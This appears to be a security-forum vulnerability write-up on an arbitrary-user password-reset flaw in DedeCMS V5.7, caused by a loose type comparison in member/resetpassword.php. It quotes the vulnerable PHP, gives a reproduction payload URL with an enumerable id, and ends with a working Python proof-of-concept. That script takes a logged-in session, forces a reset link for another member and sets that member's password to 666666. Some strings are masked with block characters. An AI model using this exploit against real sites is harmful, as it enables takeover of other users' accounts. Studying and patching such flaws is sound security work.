

## 描述

Dedecms是一款开源的PHP开源网站管理系统。

影响产品

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击

### 漏洞触发位置

①文件位置:dedecms/member/resetpassword.php(75行)

[illegible]

就是这里的判断出现了问题，因为使用了不够严谨的 `==` 进行了比较，导致if语句的条件为真，就会进入分支，进入sn函数

```
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
    sn($mid, $row['userid'], $row['email'], 'N');
    exit();
}
```

②文件位置:dedecms/member/inc/inc\_pwd\_functions.php(150行)

函数名称: function sn

[illegible]



```

if($type == 'INSERT')
{
    $key = md5($randval);
    $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime')";
    if($db->ExecuteNoneQuery($sql))
    {
        if($send == 'Y')
        {
            sendmail($mailto,$mailto,$mailbody,$headers);
            return ShowMsg('EMAIL■■■■■■■■■■■■■■■■■■■■', 'login.php','', '5000');
        } else if ($send == 'N')
        {
            return ShowMsg('■■■■■■■■■■', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&");
        }
    }
} else
{
    return ShowMsg('■■■■■■■■■■■■■■■■■■■■', 'login.php');
}
}

```

```
else if ($send == 'N')
{
    return ShowMsg('■■■■■■■■■■', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$skey);
}
```

http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg30SQQo

```
else if($dopost == "getpasswd")
{
    //■■■■■
    if(empty($id))
    {
        ShowMsg("■■■■■■■■■■","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("■■■■■■■■■■","login.php");
        exit();
    }
    if(empty($setp))
    {
        $stptime= (60*60*24*3);
        $dtime = time();
        if($dtime - $stptime > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("■■■■■■■■■■","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
    elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
```



总结：DeDecms(织梦CMS) 密码修改处，因为安全问题验证的safeanswer参数类型比较不够严格，遭受弱类型比较攻击，可绕过判断同时修改时的id可控，导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击

## 漏洞攻击与利用

### 本地验证

分别注册两个账号

账号：test1

密码：test1

账号：test2

密码：test2

目的：我们使用test1账号去重置test2账号的密码

`http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9`

①test1登录,并发送payload,此处可以id可以遍历，9是test2的id

②我们在代理工具中找到ShowMsg打印出修改密码的连接

③去掉多余字符后，访问修改密码的连接，进入修改页面

`http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg30SQo`

④test2密码修改成功，数据库对应hash也进行了更新（变成了123456的hash）

## Poc

```
# coding=utf-8
```

```
import re
import requests
from bs4 import BeautifulSoup
```

```
if __name__ == "__main__":
    host = 'http://127.0.0.1/dedecms/'
    cookie = "PHPSESSID=hi7jm3fncr0q79du7tvu3bm406; DedeUserID=8; DedeUserID__ckMd5=7903ea0790a3690a; DedeLoginTime=1515641375;"
    # ■■■■■cookie
    num = 2
    # ■■■■■id

    headers = {'Cookie': cookie}
    rs = requests.get(host + '/member/index.php', headers=headers)
    if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
        print '■■■■■'
    else:
        exit('■■■■■')

    payload_url1 = "{host}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={num}".format(
        host=host,
        num=num)
    rs = requests.get(payload_url1, headers=headers)
    if '■■■■■10■■■■■■■■■■'.decode('utf-8') in rs.text:
        exit('■■■■■10■■■■■■■■■■'.decode('utf-8'))

    searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I)
    payload_url2 = searchObj.group(1)
    payload_url2 = payload_url2.replace('&', '')
    print 'Payload : ' + payload_url2
    rs = requests.get(payload_url2, headers=headers)
    soup = BeautifulSoup(rs.text, "html.parser")
    userid = soup.find_all(attrs={"name": "userid"})[0]['value']
    key = soup.find_all(attrs={"name": "key"})[0]['value']
    data = {'dopost': 'getpasswd', 'setp': 2, 'id': num, 'userid': userid, 'key': key, 'pwd': 666666, 'pwdok': 666666}
    rs = requests.post(host + "/member/resetpassword.php", data=data, headers=headers)
    if '■■■■■■■■■■■■■■■■■■■■'.decode('utf-8') in rs.text:
        print '■■■■■■'.decode('utf-8')
        print '■■■■'.decode('utf-8') + userid
        print '■■■■'.decode('utf-8') + '666666'
```

```
else:
    print '■■■■■■■■'.decode('utf-8')
```

点击收藏 | 0 关注 | 2

[上一篇：Spectre攻击分析](#) [下一篇：织梦前台任意用户密码修改漏洞分析](#)

1. 1 条回复



[爱我的灵魂](#) 2018-04-03 17:01:27

动动手指，沙发就是我的了！

0 回复Ta

---

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)